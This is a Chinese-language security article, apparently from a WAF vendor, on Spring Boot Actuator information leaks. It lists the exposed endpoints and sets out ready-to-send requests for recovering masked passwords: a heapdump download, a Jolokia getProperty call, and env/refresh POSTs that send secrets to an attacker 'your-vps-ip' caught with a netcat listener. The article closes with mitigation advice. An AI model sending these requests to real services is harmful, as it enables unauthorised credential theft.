可造成敏感信息泄露!Spring Boot之Actuator信息泄露漏洞三种利用方式总结
1.介绍
Spring Boot是一个基于Spring的套件,它提供了一个即开即用的应用程序架构,可以简化Spring应用的创建及部署流程,帮助开发者更轻松快捷地构建出企业及应用。
Spring Boot项目中Actuator模块提供了众多HTTP接口端点(Endpoint),来提供应用程序运行时的内部状态信息。可以使用http、jmx、ssh、telnet等来管理和监控应用。包括应用的审计(Auditing)、健康(health)状态信息、数据采集(metrics gathering)统计等监控运维的功能。如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。
Spring Boot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的Spring Boot版本为2.x
2.Actuator存在两个版本
1)x版本
/configprops#显示所有@ConfigurationProperties
/env#公开Spring的ConfigurableEnvironment
/health#显示应用程序运行状况信息
/httptrace#显示HTTP跟踪信息
/metrics#显示当前应用程序的监控指标信息
/mappings#显示所有@RequestMapping路径的整理列表
/threaddump#线程转储
/heapdump#堆转储
/jolokia#JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法
2)x版本
/actuator/configprops # 显示所有@ConfigurationProperties
/actuator/env # 公开Spring的ConfigurableEnvironment
/actuator/health # 显示应用程序运行状况信息
/actuator/httptrace # 显示HTTP跟踪信息
/actuator/metrics # 显示当前应用程序的监控指标信息。
/actuator/mappings # 显示所有@RequestMapping路径的整理列表
/actuator/threaddump # 线程转储
/actuator/heapdump#堆转储
/actuator/jolokia#JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法
3. /actuator/env利用

该端点可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,获取明文密码办法有以下四种。
方法一(heapdump)
利用条件:
可正常GET请求目标/heapdump或/actuator/heapdump接口
利用方法:
(1)下载heapdump
127.0.0.1:8088/actuator/heapdump 下载heapdump文件,泄露JAVA堆dump信息:

(2)heapdump文件解密
https://github.com/wyzxxz/heapdump_tool

查询密码 > password
获取ip > getip
获取url > geturl
获取文件路径 > getfile
方法二(jolokia)
利用条件:
目标网站存在/jolokia或/actuator/jolokia接口
目标使用了jolokia-core依赖(版本要求暂未知)
默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖
<dependency><groupId>org.jolokia</groupId> <artifactId>jolokia-core</artifactId>
<version>1.7.0</version>
利用方法:
- 首先访问/actuator/env接口,获取想要获得明文的属性名,然后通过jolokia调用相关Mbean获取明文。
- 然后访问http://ip:port/actuator/jolokia/list
看一下目标环境中存在的MBean:

接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了。
如果是1.x版本请求路径则为/jolokia
当前环境测试如下:

POST/actuator/jolokia
Content-Type:application/json
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
方法三(VPS)
利用条件
可以GET请求目标网站的/env
可以POST请求目标网站的/env
可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)
目标使用了spring-cloud-starter-netflix-eureka-client依赖
目标可以请求攻击者的服务器(请求可出外网)
这里需要注意的是,添加了spring-cloud-starter-netflix-eureka-client依赖后,启动项目可能会报一个如下错误:

移除了当前项目中的servlet依赖后报错消失。

还有一个问题就是如果使用的Spring Boot版本大于2.2.4,则必须使用下面的属性手动启用POST API调用
management.endpoint.env.post.enabled=true
否则不能通过POST访问env端点。
利用方法
1. 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key
2. 在自己控制的外网服务器上监听80端口nc-lvk80
3. 将下面
[http://value: s e c u r i t y . u s e r . p a s s w o r d @ y o u r − v p s − i p ] ( h t t p : / / y o u r − v p s − i p " h t t p : / / v a l u e : {security.user.password}@your-vps-ip](http://your-vps-ip "http://value: security.user.password@your−vps−ip](http://your−vps−ip"http://value:{security.user.password}@your-vps-ip")
security.user.password换成自己想要获取的对应的星号*遮掩的属性名;
your-vps-ip换成自己外网服务器的真实ip地址
POST/actuator/env
Content-Type:application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
4. 刷新配置
POST/actuator/refresh
Content-Type:application/json
5. 解码属性值接下来VPS会获得如下请求
GET/apps/HTTP/1.1
Accept:application/json,application/*+json
Authorization:BasicdmFsdWU6cm9vdA==
Host:******
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate
将Authorization字段进行base64解密后,得到的值就是value:password
方法四(VPS)
利用条件
通过POST/env设置属性触发目标对外网指定地址发起任意http请求
目标可以请求攻击者的服务器(请求可出外网)
利用方法
在目标发外部http请求的过程中,在urlpath中利用占位符带出数据。
- 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key
2. 在自己控制的外网服务器上监听80端口:nc-lvk80
3. 构造如下数据包
POST/actuator/env
Content-Type:application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
4. 刷新配置
POST/actuator/refresh
Content-Type:application/json
5. 查看VPS
接下来VPS就会收到请求:
Ncat:Connectionfrom******
GET/SecretKe/apps/HTTP/1.1
Accept:application/json,application/*+json
Host:******
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate
apps前面的路径就是我们需要的数据。
4.结语
Spring Boot使开发更加简单和高效,因此也得到了广泛的应用,这也导致了漏洞影响面的扩大,Spring Boot漏洞可造成以下危害:
1、未授权的访问者可以通过Actuator端点获取敏感信息,如数据库账户密码,代码及后台账号密码,攻击者可利用泄露信息进行进一步利用,并进行更深入的攻击。.
2、攻击者可以通过Actuator端点的未授权访问,执行恶意操作,如修改配置、篡改数据、重启应用程序、关闭数据库连接等,从而破坏应用程序的正常运行。
3、当系统使用Jolokia库特性可以远程执行任意代码,获取服务器权限。
网宿建议可能受影响的企业采取以下措施来缓解Spring Boot系列漏洞的影响:
**1、引入 security 依赖:**开启security功能,打开安全限制并进行身份验证;同时设置单独的 Actuator 管理端口并配置不对外网开放。
**2、禁用敏感端点:**根据实际需求,禁用或限制不需要的Actuator端点,避免将过多敏感信息暴露给未授权访问者
**3、加强日志和监控:**定期监控和审计Actuator端点的访问日志,及时发现异常访问,并采取适当的响应措施。
4、加强边界防护:引入WAF等边界防护手段,拦截针对Spring Boot漏洞的利用行为。
网宿全站防护-WAF模块已第一时间支持Spring Boot系列漏洞的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。
相关文章:
可造成敏感信息泄露!Spring Boot之Actuator信息泄露漏洞三种利用方式总结
1.介绍 Spring Boot是一个基于Spring的套件,它提供了一个即开即用的应用程序架构,可以简化Spring应用的创建及部署流程,帮助开发者更轻松快捷地构建出企业及应用。 Spring Boot项目中Actuator模块提供了众多HTTP接口端点(Endpoi…...
支持图像和视频理解多模态开源大模型:CogVLM2 CogVLM2-Video
CogVLM2和CogVLM2-Video是新一代的开源模型,支持图像和视频理解,具有显著的性能提升。最近发布的更新包括CogVLM2论文的发表、在线演示和对视频理解的支持,能够处理最多1分钟的视频。新模型支持中英文,文本长度可达8K,…...
ClouderaManager 集群搭建
前提:服务器之前做过域名映射、免密登录 ClouderaManager 集群 1. 组件分布规划 服务器服务器h1zk、hdfs(dn)、yarn(nm)、spark、kafka、flumeh2hdfs(nn-standy)、yarn(rm-active)、sparkh3hdfs(nn-active)、yarn(rm-standy)、hive、sparkh4zk、hdfs(dn)、yarn(n…...
Docker 搭建 gitlab 服务器卡顿问题解决方法(创建:swap分区)
Docker 安装系列 服务器搭建了一个 gitlab 服务器以供自己开发使用,服务器搭建很简单,但是使用起来是相当的卡顿,在代码 pull,push 过程中都会有相应的延迟。gitlab 启动运行就占用了大量的内存,4G内存在启动后已经所…...
PVE修改IP地址
一、在局域网的电脑浏览器输入PVE的IP地址登录后台,从左边的菜单找到“PVE”—“_Shell”菜单,进入网页版的ssh界面下;或者在主机的控制台下输入root密码后登录到ssh下; 二、输入以下命令回车: vi /etc/network/inter…...
智能合约的离线签名(EIP712协议)解决方案
引言:本文由天玄链开源开发者提供,欢迎报名公益天玄链训练营 https://blockchain.163.com/trainingCamp 一、解决核心问题 项目方不支付gas费,由用户自己发起交易,用户支付gas费。用户的数据保存在链下服务器中,tok…...
大模型Qwen面试内容整理-应用场景与案例分析
Qwen模型凭借其强大的自然语言理解和生成能力,在多个实际应用场景中得到了广泛应用。以下是Qwen模型的主要应用场景及一些典型的案例分析,展示了它如何解决具体问题和带来实际价值。 智能对话系统 ● 应用场景 ○ 客服机器人:Qwen被用于开发智能客服机器人,能够理解客户的问…...
spring boot的统一异常处理,使用@RestControllerAdvice
RestControllerAdvice 是 Spring Boot 中用于全局异常处理的注解,它结合了 ControllerAdvice 和 ResponseBody 的功能。这意味着使用 RestControllerAdvice 注解的类将应用于所有 RequestMapping 方法,并且任何从这些方法返回的对象都会被转换为 HTTP 响…...
OFCA-OpenHarmony课后习题答案
本文是 OFCA-OpenHarmony 认证模拟考试的习题答案,涵盖 OpenHarmony 的多内核设计、权限申请、通知发布、系统线程、启动过程、分布式软总线、模块导入、文件管理、公共事件等多个方面。每道题目均提供了详细的选择项和正确答案,旨在帮助考生熟悉考试内容…...
Open AI 推出 ChatGPT Pro
每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...
利用PHP和GD库实现图片切割
利用PHP和GD库实现图片切割的详细步骤如下: 一、检查GD库是否安装 确保服务器上已经安装了PHP和GD库。可以使用phpinfo()函数来检查GD库是否已经安装和启用。 二、加载原始图片 使用PHP提供的imagecreatefromjpeg()、imagecreatefrompng()或imagecreatefromgif(…...
【css】基础(一)
本专栏内容为:前端专栏 记录学习前端,分为若干个子专栏,html js css vue等 💓博主csdn个人主页:小小unicorn ⏩专栏分类:css专栏 🚚代码仓库:小小unicorn的代码仓库🚚 &a…...
springboot415社区网格化管理平台的构建-(论文+源码)_kaic
摘 要 现代经济快节奏发展以及不断完善升级的信息化技术,让传统数据信息的管理升级为软件存储,归纳,集中处理数据信息的管理方式。本社区网格化管理平台就是在这样的大环境下诞生,其可以帮助管理者在短时间内处理完毕庞大的数据…...
如何在 Ubuntu 上安装开源监控工具 Uptime Kuma
简介 Uptime Kuma(或简称 Kuma)是一个开源监控工具,用于监控 HTTP、HTTPS、DNS 等协议的服务。Uptime Kuma 提供多种功能,如多语言支持、多个状态页面、代理支持等。 接下来,我将一步一步教大家如何进行安装和部署&am…...
复习 part one
synchronized 和 ReentrantLock的区别 synchronized 和 ReentrantLock 都是 Java 中提供的可重入锁,二者的主要区别有以下 5 个: 用法不同:synchronized 可以用来修饰普通方法、静态方法和代码块,而 ReentrantLock 只能用于代码块…...
【工业机器视觉】基于深度学习的水表盘读数识别(3-数据标注与转换)
【工业机器视觉】基于深度学习的仪表盘识读(2)-CSDN博客 数据标注 标注扩展 Labelme 和 LabelImg 都是用于创建机器学习和计算机视觉项目所需标注数据的工具。它们都允许用户通过图形界面手动标注图像,但各自有其特点和适用场景。 Labelme…...
python数据分析之爬虫基础:selenium详细讲解
目录 1、selenium介绍 2、selenium的作用: 3、配置浏览器驱动环境及selenium安装 4、selenium基本语法 4.1、selenium元素的定位 4.2、selenium元素的信息 4.3、selenium元素的交互 5、Phantomjs介绍 6、chrome handless模式 1、selenium介绍 (1…...
Tips--解决esptool经pyinstaller打包后无法使用的问题
esptool打包后失效解决方法 问题1原因解决方法问题2原因解决方法 问题1 esptool经过pyinstaller打包成exe后,提示错误:Stub flasher JSON file for esp32 not found 原因 pyinstaller在进行esptool打包的时候,通常不用讲Stub flaser Json文…...
Apache DolphinScheduler 限制秒级别的定时调度
背景 Apache DolphinScheduler 定时任务配置采用的 7 位 Crontab 表达式,分别对应秒、分、时、月天、月、周天、年。 在团队日常开发工作中,工作流的定时调度一般不会细化到秒级别。但历史上出现过因配置的疏忽大意而产生故障时间,如应该配…...
Oracle 数据库创建用户并分配只读的权限
引言 在 Oracle 数据库的日常运维和开发过程中,用户管理是确保数据安全与访问控制的关键环节。通过合理创建用户并分配适当的权限,可以有效防止未授权的访问和操作。本文将详细介绍如何在 Oracle 数据库中: 创建新用户并设置复杂密码。授予…...
XCTF-web-easyupload
试了试php,php7,pht,phtml等,都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接,得到flag...
Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
vue3 字体颜色设置的多种方式
在Vue 3中设置字体颜色可以通过多种方式实现,这取决于你是想在组件内部直接设置,还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法: 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...
oracle与MySQL数据库之间数据同步的技术要点
Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异,它们的数据同步要求既要保持数据的准确性和一致性,又要处理好性能问题。以下是一些主要的技术要点: 数据结构差异 数据类型差异ÿ…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台
🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...
Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)
目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...
基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...
push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中,push 和 present 是两种不同的视图控制器切换方式,它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
